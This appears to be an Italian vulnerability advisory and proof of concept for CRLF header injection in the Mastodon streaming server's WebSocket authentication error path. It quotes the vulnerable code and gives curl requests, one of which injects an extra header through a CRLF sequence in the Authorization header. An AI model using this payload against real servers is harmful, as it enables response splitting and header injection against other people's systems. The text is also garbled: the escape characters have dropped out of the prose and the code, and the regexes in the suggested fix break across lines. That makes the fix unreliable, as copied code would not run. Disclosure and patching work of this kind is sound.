
PoC della vulnerabilità di sicurezza del server di streaming Mastodon - CVE-2026-Mastodon-Streaming-CRLF-Injection
| Voce | Dettagli |
|---|
| CVE ID | CVE-2026-XXXXX |
| Prodotto interessato | Mastodon (Streaming Server) |
| Versione interessata | <= 4.5.9 |
| Componente | streaming/index.js righe 188-206 |
| Tipo di vulnerabilità | HTTP Response Header Injection / CRLF Injection |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (Medio) |
| Vettore di attacco | Rete |
| Segnalatore | qitian [email protected] |
Quando una richiesta di upgrade WebSocket fallisce l'autenticazione, il Mastodon Streaming Server in streaming/index.js righe 188-206 costruisce una risposta HTTP manuale e scrive errorMessage direttamente nell'header di risposta X-Error-Message tramite socket.end() SENZA ripulire i caratteri o .
Ciò consente a un attaccante remoto non autenticato di iniettare header HTTP arbitrari o di effettuare HTTP Response Splitting.
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
Previsto: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
Ripulire errorMessage prima di scriverlo nell'header del socket:
const sanitizedMessage = String(errorMessage || '')
.replace(/
/g, '%0D')
.replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| Data | Evento |
|---|---|
| 2026-04-22 | Vulnerabilità scoperta e PoC creato |
| 2026-04-22 | Segnalazione CVE inviata a MITRE / VDB |
Disclaimer: Questo PoC è solo a scopo educativo e di ricerca sulla sicurezza.